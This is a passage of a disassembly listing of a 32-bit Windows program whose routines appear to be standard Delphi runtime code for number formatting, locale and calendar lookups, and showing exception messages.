[ecx+ebp], ah ; START OF FUNCTION CHUNK FOR sub_404C38 loc_404F07: ; CODE XREF: sub_404C38+D7j mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_404C38 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F10 proc near ; CODE XREF: sub_404C38+72p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00405133 SIZE 00000009 BYTES push ebp mov ebp, esp add esp, 0FFFFFFE0h push edi push esi push ebx mov ebx, eax mov esi, edx mov [ebp+var_4], 0 cmp cl, 0 jz short loc_404F33 call sub_40505F jmp loc_405133 ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F10+17j call sub_404F3D jmp loc_405133 sub_404F10 endp ; =============== S U B R O U T I N E ======================================= sub_404F3D proc near ; CODE XREF: sub_404F10:loc_404F33p mov ax, [esi+8] mov edx, eax and eax, 7FFFh jz short loc_404F68 cmp eax, 7FFFh jnz short loc_404F73 test word ptr [esi+6], 8000h jz short loc_404F6A cmp dword ptr [esi], 0 jnz short loc_404F67 cmp dword ptr [esi+4], 80000000h jz short loc_404F6A loc_404F67: ; CODE XREF: sub_404F3D+1Fj inc eax loc_404F68: ; CODE XREF: sub_404F3D+Bj ; sub_404F3D+AFj xor edx, edx loc_404F6A: ; CODE XREF: sub_404F3D+1Aj ; sub_404F3D+28j mov byte ptr [ebx+3], 0 jmp loc_405040 ; --------------------------------------------------------------------------- loc_404F73: ; CODE XREF: sub_404F3D+12j fld tbyte ptr [esi] sub eax, 3FFFh imul eax, 4D10h sar eax, 10h inc eax mov [ebp-8], eax mov eax, 12h sub eax, [ebp-8] fabs push ebx mov ebx, [ebp-4] call sub_401C00 pop ebx frndint mov edi, [ebp-4] fld ds:tbyte_409100[edi] fcomp st(1) fstsw word ptr [ebp-0Ah] wait test word ptr [ebp-0Ah], 4100h jz short loc_404FBE fidiv ds:flt_40910C[edi] inc dword ptr [ebp-8] loc_404FBE: ; CODE XREF: sub_404F3D+76j fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] mov edx, 9 wait loc_404FCA: ; CODE XREF: sub_404F3D+A0j mov al, [edx+ebp-19h] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_404FCA xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_404FF1 xor eax, eax jmp loc_404F68 ; --------------------------------------------------------------------------- loc_404FF1: ; CODE XREF: sub_404F3D+ABj cmp edi, [ebp+0Ch] jb short loc_404FF9 mov edi, [ebp+0Ch] loc_404FF9: ; CODE XREF: sub_404F3D+B7j cmp edi, 12h jnb short loc_405025 cmp byte ptr [ebx+edi+3], 35h jb short loc_40502A loc_405005: ; CODE XREF: sub_404F3D+D9j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40501A inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_405005 jmp short loc_405039 ; --------------------------------------------------------------------------- loc_40501A: ; CODE XREF: sub_404F3D+CEj mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_405039 ; --------------------------------------------------------------------------- loc_405025: ; CODE XREF: sub_404F3D+BFj mov edi, 12h loc_40502A: ; CODE XREF: sub_404F3D+C6j ; sub_404F3D+FAj mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40504B cmp byte ptr [ebx+edi+3], 30h jz short loc_40502A loc_405039: ; CODE XREF: sub_404F3D+DBj ; sub_404F3D+E6j mov dx, [esi+8] loc_40503D: ; CODE XREF: sub_404F3D+110j mov eax, [ebp-8] loc_405040: ; CODE XREF: sub_404F3D+31j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; --------------------------------------------------------------------------- loc_40504B: ; CODE XREF: sub_404F3D+F3j ; DATA XREF: sub_40505F+60r xor edx, edx jmp short loc_40503D sub_404F3D endp ; --------------------------------------------------------------------------- db 0Ah dd 64000000h, 0E8000000h, 10000003h db 27h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_40505F proc near ; CODE XREF: sub_404F10+19p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_405125 or edx, edx jns short loc_405079 neg edx neg eax sbb edx, 0 loc_405079: ; CODE XREF: sub_40505F+11j xor ecx, ecx mov edi, [ebp+8] or edi, edi jge short loc_405084 xor edi, edi loc_405084: ; CODE XREF: sub_40505F+21j cmp edi, 4 jl short loc_4050A8 mov edi, 4 loc_40508E: ; CODE XREF: sub_40505F+3Bj inc ecx sub eax, 0A7640000h sbb edx, 0DE0B6B3h jnb short loc_40508E dec ecx add eax, 0A7640000h adc edx, 0DE0B6B3h loc_4050A8: ; CODE XREF: sub_40505F+28j mov [ebp-20h], eax mov [ebp-1Ch], edx fild qword ptr [ebp-20h] mov edx, edi mov eax, 4 sub eax, edx jz short loc_4050C6 mov edi, [ebp-4] fidiv dword ptr loc_40504B[edi+eax*4] loc_4050C6: ; CODE XREF: sub_40505F+5Bj fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] wait or ecx, ecx jnz short loc_4050EC mov ecx, 9 loc_4050D6: ; CODE XREF: sub_40505F+89j mov al, [ecx+ebp-19h] mov ah, al shr al, 4 jnz short loc_4050FF mov al, ah and al, 0Fh jnz short loc_405106 dec ecx jnz short loc_4050D6 jmp short loc_405125 ; --------------------------------------------------------------------------- loc_4050EC: ; CODE XREF: sub_40505F+70j mov al, cl add al, 30h stosb mov ecx, 9 loc_4050F6: ; CODE XREF: sub_40505F+ABj mov al, [ecx+ebp-19h] mov ah, al shr al, 4 loc_4050FF: ; CODE XREF: sub_40505F+80j add al, 30h stosb mov al, ah and al, 0Fh loc_405106: ; CODE XREF: sub_40505F+86j add al, 30h stosb dec ecx jnz short loc_4050F6 mov eax, edi lea ecx, [ebx+edx+3] sub eax, ecx loc_405114: ; CODE XREF: sub_40505F+BCj mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_405114 mov edx, [esi+4] shr edx, 1Fh jmp short loc_40512C ; --------------------------------------------------------------------------- loc_405125: ; CODE XREF: sub_40505F+9j ; sub_40505F+8Bj xor eax, eax xor edx, edx mov [ebx+3], al loc_40512C: ; CODE XREF: sub_40505F+C4j mov [ebx], ax mov [ebx+2], dl retn sub_40505F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404F10 loc_405133: ; CODE XREF: sub_404F10+1Ej ; sub_404F10+28j pop ebx pop esi pop edi mov esp, ebp pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_404F10 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40513C proc near ; CODE XREF: sub_4051B0+1Cp ; sub_4053C4+27p ... LCData = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h ; cchData lea ecx, [ebp+LCData] push ecx ; lpLCData push edx ; LCType push eax ; Locale call GetLocaleInfoA_0 test eax, eax jle short loc_405175 mov ecx, eax dec ecx lea edx, [ebp+LCData] mov eax, ebx call sub_4026B4 jmp short loc_40517E ; --------------------------------------------------------------------------- loc_405175: ; CODE XREF: sub_40513C+25j mov eax, ebx mov edx, esi call sub_40261C loc_40517E: ; CODE XREF: sub_40513C+37j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_40513C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405188 proc near ; CODE XREF: sub_4064C4+ADp ; sub_4064C4+C0p ... LCData = byte ptr -10h push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 ; cchData lea eax, [esp+14h+LCData] push eax ; lpLCData push esi ; LCType push edi ; Locale call GetLocaleInfoA_0 test eax, eax jle short loc_4051A9 mov al, [esp+10h+LCData] jmp short loc_4051AB ; --------------------------------------------------------------------------- loc_4051A9: ; CODE XREF: sub_405188+1Aj mov eax, ebx loc_4051AB: ; CODE XREF: sub_405188+1Fj pop edx pop edi pop esi pop ebx retn sub_405188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051B0 proc near ; CODE XREF: sub_4051EC+46p ; sub_4051EC+69p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ebx, [ebp+arg_0] push ebx mov eax, [ebp+arg_8] mov eax, [eax-4] xor ecx, ecx mov edx, esi call sub_40513C cmp dword ptr [ebx], 0 jnz short loc_4051E3 mov eax, [ebp+var_4] mov eax, [eax+edi*4] mov edx, ebx call sub_4033B0 loc_4051E3: ; CODE XREF: sub_4051B0+24j pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_4051B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051EC proc near ; CODE XREF: sub_4064C4+23p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi xor eax, eax push ebp push offset loc_4052FF push dword ptr fs:[eax] mov fs:[eax], esp call GetThreadLocale_0 mov [ebp+var_4], eax mov ebx, 1 mov esi, offset dword_40A6D8 mov edi, offset dword_40A708 loc_40521F: ; CODE XREF: sub_4051EC+83j push ebp push 0Bh lea eax, [ebp+var_C] push eax mov ecx, offset off_409110 mov edx, ebx dec edx lea eax, [ebx+44h] dec eax call sub_4051B0 pop ecx mov edx, [ebp+var_C] mov eax, esi call sub_40261C push ebp push 0Bh lea eax, [ebp+var_10] push eax mov ecx, offset off_409140 mov edx, ebx dec edx lea eax, [ebx+38h] dec eax call sub_4051B0 pop ecx mov edx, [ebp+var_10] mov eax, edi call sub_40261C inc ebx add edi, 4 add esi, 4 cmp ebx, 0Dh jnz short loc_40521F mov ebx, 1 mov esi, offset dword_40A738 mov edi, offset dword_40A754 loc_405280: ; CODE XREF: sub_4051EC+F6j lea eax, [ebx+5] mov ecx, 7 cdq idiv ecx mov [ebp+var_8], edx push ebp push 6 lea eax, [ebp+var_14] push eax mov ecx, offset off_409170 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 31h call sub_4051B0 pop ecx mov edx, [ebp+var_14] mov eax, esi call sub_40261C push ebp push 6 lea eax, [ebp+var_18] push eax mov ecx, offset off_40918C mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 2Ah call sub_4051B0 pop ecx mov edx, [ebp+var_18] mov eax, edi call sub_40261C inc ebx add edi, 4 add esi, 4 cmp ebx, 8 jnz short loc_405280 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405306 loc_4052F1: ; CODE XREF: sub_4051EC+118j lea eax, [ebp+var_18] mov edx, 4 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4052FF: ; DATA XREF: sub_4051EC+11o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4052F1 ; --------------------------------------------------------------------------- loc_405306: ; CODE XREF: sub_4051EC+112j ; DATA XREF: sub_4051EC+100o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4051EC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; BOOL __stdcall CalInfoEnumProc(LPSTR) CalInfoEnumProc proc near ; DATA XREF: sub_4053C4+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_405324 ; --------------------------------------------------------------------------- loc_40531E: ; CODE XREF: CalInfoEnumProc+1Cj cmp ebx, 7 jz short loc_405342 inc ebx loc_405324: ; CODE XREF: CalInfoEnumProc+Cj cmp ds:dword_40A77C[ebx*4], 0 jnz short loc_40531E lea eax, dword_40A77C[ebx*4] mov edx, [ebp+arg_0] call sub_40279C mov esi, 1 loc_405342: ; CODE XREF: CalInfoEnumProc+11j mov eax, esi pop esi pop ebx pop ebp retn 4 CalInfoEnumProc endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; BOOL __stdcall sub_40534C(LPSTR) sub_40534C proc near ; DATA XREF: sub_4053C4+77o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_4053B1 push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_405370 ; --------------------------------------------------------------------------- loc_40536A: ; CODE XREF: sub_40534C+2Cj cmp ebx, 7 jz short loc_40539B inc ebx loc_405370: ; CODE XREF: sub_40534C+1Cj cmp ds:dword_40A798[ebx*4], 0FFFFFFFFh jnz short loc_40536A lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40279C mov eax, [ebp+var_4] xor edx, edx call sub_4043F0 mov ds:dword_40A798[ebx*4], eax mov esi, 1 loc_40539B: ; CODE XREF: sub_40534C+21j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4053B8 loc_4053A8: ; CODE XREF: sub_40534C+6Aj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4053B1: ; DATA XREF: sub_40534C+Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4053A8 ; --------------------------------------------------------------------------- loc_4053B8: ; CODE XREF: sub_40534C+64j ; DATA XREF: sub_40534C+57o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 sub_40534C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053C4 proc near ; CODE XREF: sub_4064C4+31p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push esi xor eax, eax push ebp push offset loc_40545B push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax call GetThreadLocale_0 mov ecx, offset dword_405470 mov edx, 100Bh call sub_40513C mov eax, [ebp+var_4] mov edx, 1 call sub_4043F0 mov esi, eax mov eax, esi add eax, 0FFFFFFFDh sub eax, 3 jnb short loc_405445 push 4 ; CalType push esi ; Calendar call GetThreadLocale_0 push eax ; Locale push offset CalInfoEnumProc ; lpCalInfoEnumProc call EnumCalendarInfoA mov edx, 7 mov eax, offset dword_40A79C loc_405426: ; CODE XREF: sub_4053C4+6Cj mov dword ptr [eax], 0FFFFFFFFh add eax, 4 dec edx jnz short loc_405426 push 3 ; CalType push esi ; Calendar call GetThreadLocale_0 push eax ; Locale push offset sub_40534C ; lpCalInfoEnumProc call EnumCalendarInfoA loc_405445: ; CODE XREF: sub_4053C4+43j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405462 loc_405452: ; CODE XREF: sub_4053C4+9Cj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_40545B: ; DATA XREF: sub_4053C4+9o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405452 ; --------------------------------------------------------------------------- loc_405462: ; CODE XREF: sub_4053C4+96j ; DATA XREF: sub_4053C4+89o pop esi pop ecx pop ebp retn sub_4053C4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_405470 dd 31h ; DATA XREF: sub_4053C4+1Do ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405474 proc near ; CODE XREF: sub_4064C4+11Cp ; sub_4064C4+149p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_40563E push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_4025C8 lea eax, [ebp+var_8] push eax call GetThreadLocale_0 mov ecx, offset dword_405654 mov edx, 1009h call sub_40513C mov eax, [ebp+var_8] mov edx, 1 call sub_4043F0 add eax, 0FFFFFFFDh sub eax, 3 jb loc_405614 mov eax, ds:dword_40A774 sub eax, 4 jz short loc_4054E6 add eax, 0FFFFFFF3h sub eax, 2 jb short loc_4054E6 xor eax, eax jmp short loc_4054E8 ; --------------------------------------------------------------------------- loc_4054E6: ; CODE XREF: sub_405474+64j ; sub_405474+6Cj mov al, 1 loc_4054E8: ; CODE XREF: sub_405474+70j test al, al jz short loc_405521 jmp short loc_405511 ; --------------------------------------------------------------------------- loc_4054EE: ; CODE XREF: sub_405474+A6j mov al, [esi+ebx-1] sub al, 47h jz short loc_405510 sub al, 20h jz short loc_405510 lea eax, [ebp+var_C] mov dl, [esi+ebx-1] call sub_40278C mov edx, [ebp+var_C] mov eax, edi call sub_402848 loc_405510: ; CODE XREF: sub_405474+80j ; sub_405474+84j inc ebx loc_405511: ; CODE XREF: sub_405474+78j mov eax, esi call sub_402840 cmp ebx, eax jle short loc_4054EE jmp loc_405623 ; --------------------------------------------------------------------------- loc_405521: ; CODE XREF: sub_405474+76j mov eax, edi mov edx, esi call sub_40261C jmp loc_405623 ; --------------------------------------------------------------------------- loc_40552F: ; CODE XREF: sub_405474+1A9j mov al, [esi+ebx-1] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40556F mov edx, ebx mov eax, esi call sub_4061C0 mov [ebp+var_4], eax lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] mov edx, ebx mov eax, esi call sub_402A94 mov edx, [ebp+var_10] mov eax, edi call sub_402848 add ebx, [ebp+var_4] jmp loc_405614 ; --------------------------------------------------------------------------- loc_40556F: ; CODE XREF: sub_405474+CBj mov edx, offset dword_405658 lea eax, [esi+ebx-1] mov ecx, 2 call sub_4045F0 test eax, eax jnz short loc_405595 mov eax, edi mov edx, offset dword_405664 call sub_402848 inc ebx jmp short loc_405613 ; --------------------------------------------------------------------------- loc_405595: ; CODE XREF: sub_405474+110j mov edx, offset aYyyy ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_4045F0 test eax, eax jnz short loc_4055BD mov eax, edi mov edx, offset aEeee ; "eeee" call sub_402848 add ebx, 3 jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055BD: ; CODE XREF: sub_405474+136j mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_4045F0 test eax, eax jnz short loc_4055E3 mov eax, edi mov edx, offset dword_40568C call sub_402848 inc ebx jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055E3: ; CODE XREF: sub_405474+15Ej mov al, [esi+ebx-1] sub al, 59h jz short loc_4055EF sub al, 20h jnz short loc_4055FD loc_4055EF: ; CODE XREF: sub_405474+175j mov eax, edi mov edx, offset dword_405698 call sub_402848 jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055FD: ; CODE XREF: sub_405474+179j lea eax, [ebp+var_14] mov dl, [esi+ebx-1] call sub_40278C mov edx, [ebp+var_14] mov eax, edi call sub_402848 loc_405613: ; CODE XREF: sub_405474+11Fj ; sub_405474+147j ... inc ebx loc_405614: ; CODE XREF: sub_405474+56j ; sub_405474+F6j mov eax, esi call sub_402840 cmp ebx, eax jle loc_40552F loc_405623: ; CODE XREF: sub_405474+A8j ; sub_405474+B6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405645 loc_405630: ; CODE XREF: sub_405474+1CFj lea eax, [ebp+var_14] mov edx, 4 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_40563E: ; DATA XREF: sub_405474+14o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405630 ; --------------------------------------------------------------------------- loc_405645: ; CODE XREF: sub_405474+1C9j ; DATA XREF: sub_405474+1B7o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405474 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_405654 dd 31h ; DATA XREF: sub_405474+34o dword_405658 dd 6767h, 0FFFFFFFFh, 3 ; DATA XREF: sub_405474:loc_40556Fo dword_405664 dd 676767h ; DATA XREF: sub_405474+114o aYyyy db 'yyyy',0 ; DATA XREF: sub_405474:loc_405595o align 10h dd 0FFFFFFFFh, 4 aEeee db 'eeee',0 ; DATA XREF: sub_405474+13Ao align 10h aYy db 'yy',0 ; DATA XREF: sub_405474:loc_4055BDo align 4 dd 0FFFFFFFFh, 2 dword_40568C dd 6565h, 0FFFFFFFFh, 1 ; DATA XREF: sub_405474+162o dword_405698 dd 65h ; DATA XREF: sub_405474+17Do ; =============== S U B R O U T I N E ======================================= sub_40569C proc near ; CODE XREF: CODE:0040570Bp test eax, eax jz short locret_4056A5 sub eax, 1000h locret_4056A5: ; CODE XREF: sub_40569C+2j retn sub_40569C endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp-4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp-330h] push eax push ebx call VirtualQuery cmp dword ptr [ebp-320h], 1000h jnz short loc_4056F2 push 105h lea eax, [ebp-212h] push eax mov eax, [ebp-32Ch] push eax call GetModuleFileNameA_0 test eax, eax jnz short loc_405715 loc_4056F2: ; CODE XREF: CODE:004056D4j push 105h lea eax, [ebp-212h] push eax mov eax, ds:dword_40A694 push eax call GetModuleFileNameA_0 mov eax, ebx call sub_40569C mov [ebp-8], eax jmp short loc_40571E ; --------------------------------------------------------------------------- loc_405715: ; CODE XREF: CODE:004056F0j sub ebx, [ebp-32Ch] mov [ebp-8], ebx loc_40571E: ; CODE XREF: CODE:00405713j lea eax, [ebp-212h] mov dl, 5Ch call sub_4061FC mov edx, eax inc edx lea eax, [ebp-10Dh] mov ecx, 104h call sub_4045BC mov ebx, offset dword_405828 mov edi, offset dword_405828 mov eax, esi mov edx, off_4039D8 call sub_401FD4 test al, al jz short loc_40577A mov eax, [esi+4] call sub_402A38 mov ebx, eax mov eax, ebx call sub_404594 test eax, eax jz short loc_40577A cmp byte ptr [ebx+eax-1], 2Eh jz short loc_40577A mov edi, offset dword_40582C loc_40577A: ; CODE XREF: CODE:00405757j ; CODE:0040576Cj ... push 100h lea eax, [ebp-312h] push eax mov eax, ds:off_409404 mov eax, [eax+4] push eax mov eax, ds:dword_40A694 call sub_402F04 push eax call LoadStringA_0 lea edx, [ebp-458h] mov eax, [esi] call sub_401EF4 lea eax, [ebp-458h] mov [ebp-358h], eax mov byte ptr [ebp-354h], 4 lea eax, [ebp-10Dh] mov [ebp-350h], eax mov byte ptr [ebp-34Ch], 6 mov eax, [ebp-8] mov [ebp-348h], eax mov byte ptr [ebp-344h], 5 mov [ebp-340h], ebx mov byte ptr [ebp-33Ch], 6 mov [ebp-338h], edi mov byte ptr [ebp-334h], 6 lea eax, [ebp-358h] push eax push 4 lea ecx, [ebp-312h] mov edx, [ebp+8] mov eax, [ebp-4] call sub_404AE0 mov eax, [ebp-4] call sub_404594 pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 dword_405828 dd 0 ; DATA XREF: CODE:0040573Eo ; CODE:00405743o dword_40582C dd 2Eh, 0FBBCC481h, 68FFFFh, 8D000004h, 0E848244Ch, 0FFFFFE64h ; DATA XREF: CODE:00405775o ; --------------------------------------------------------------------------- mov eax, ds:off_4093C0 cmp byte ptr [eax], 0 jz short loc_40589D mov eax, ds:off_409320 call sub_401830 call sub_4012E4 push 0 lea eax, [esp+4] push eax lea eax, [esp+4Ch] call sub_404594 push eax lea eax, [esp+50h] push eax push 0FFFFFFF5h call GetStdHandle_0 push eax call WriteFile_0 push 0 lea eax, [esp+4] push eax push 2 push offset dword_4058E4 push 0FFFFFFF5h call GetStdHandle_0 push eax call WriteFile_0 jmp short loc_4058D3 ; --------------------------------------------------------------------------- loc_40589D: ; CODE XREF: CODE:0040584Cj push 40h lea eax, [esp+8] push eax mov eax, ds:off_409304 mov eax, [eax+4] push eax mov eax, ds:dword_40A694 call sub_402F04 push eax call LoadStringA_0 push 2010h lea eax, [esp+8] push eax lea eax, [esp+4Ch] push eax push 0 call MessageBoxA loc_4058D3: ; CODE XREF: CODE:0040589Bj add esp, 444h retn ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_4058E4 dd 0A0Dh ; DATA XREF: CODE:00405889o ; =============== S U B R O U T I N E ======================================= sub_4058E8 proc near ; CODE XREF: sub_405AA0+32p ; sub_405B20+38p ... push ebx push esi push edi test dl, dl jz short loc_4058F7 add esp, 0FFFFFFF0h call sub_402078 loc_4058F7: ; CODE XREF: sub_4058E8+5j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_40261C mov eax, edi test bl, bl jz short loc_40591C call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_40591C: ; CODE XREF: sub_4058E8+23j mov eax, edi pop edi pop esi pop ebx retn sub_4058E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405924 proc near ; CODE XREF: sub_405B74+77p ; sub_405CFC+127p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_405938 add esp, 0FFFFFFF0h call sub_402078 loc_405938: ; CODE XREF: sub_405924+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_40597E push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, esi call sub_404B20 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405985 loc_405975: ; CODE XREF: sub_405924+5Fj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_40597E: ; DATA XREF: sub_405924+1Do jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405975 ; --------------------------------------------------------------------------- loc_405985: ; CODE XREF: sub_405924+59j ; DATA XREF: sub_405924+4Co mov eax, edi test bl, bl jz short loc_40599A call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_40599A: ; CODE XREF: sub_405924+65j mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_405924 endp ; =============== S U B R O U T I N E ======================================= sub_4059A4 proc near ; CODE XREF: CODE:00405C59p ; sub_405FA4+Dp ... push ebx push esi push edi test dl, dl jz short loc_4059B3 add esp, 0FFFFFFF0h call sub_402078 loc_4059B3: ; CODE XREF: sub_4059A4+5j mov esi, ecx mov ebx, edx mov edi, eax lea edx, [edi+4] mov eax, esi call sub_4033B0 mov eax, edi test bl, bl jz short loc_4059D8 call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_4059D8: ; CODE XREF: sub_4059A4+23j mov eax, edi pop edi pop esi pop ebx retn sub_4059A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059E0 proc near ; CODE XREF: sub_4043CC+14p ; sub_405AA0+51p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push ebx push esi push edi test dl, dl jz short loc_4059F6 add esp, 0FFFFFFF0h call sub_402078 loc_4059F6: ; CODE XREF: sub_4059E0+Cj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_405A4C push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax lea edx, [ebp+var_8] mov eax, esi call sub_4033B0 mov eax, [ebp+var_8] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_404B20 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405A53 loc_405A3E: ; CODE XREF: sub_4059E0+71j lea eax, [ebp+var_8] mov edx, 2 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_405A4C: ; DATA XREF: sub_4059E0+1Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405A3E ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059E0+6Bj ; DATA XREF: sub_4059E0+59o mov eax, edi test bl, bl jz short loc_405A68 call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_405A68: ; CODE XREF: sub_4059E0+77j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_4059E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405A74 proc near ; DATA XREF: CODE:00403A84o ; CODE:00403AE0o ... cmp byte ptr [eax+0Ch], 0 jz short locret_405A7F call sub_401F24 locret_405A7F: ; CODE XREF: sub_405A74+4j retn sub_405A74 endp ; --------------------------------------------------------------------------- off_405A80 dd offset dword_405A84 ; DATA XREF: sub_406B98+50r dword_405A84 dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:off_405A80o db 3 dup(0) dd offset off_401000 db 4 align 10h ; =============== S U B R O U T I N E ======================================= sub_405AA0 proc near ; CODE XREF: sub_405B20:loc_405B61p var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_401320 mov esi, eax jmp short loc_405AB1 ; --------------------------------------------------------------------------- loc_405AB0: ; CODE XREF: sub_405AA0+1Dj inc ebx 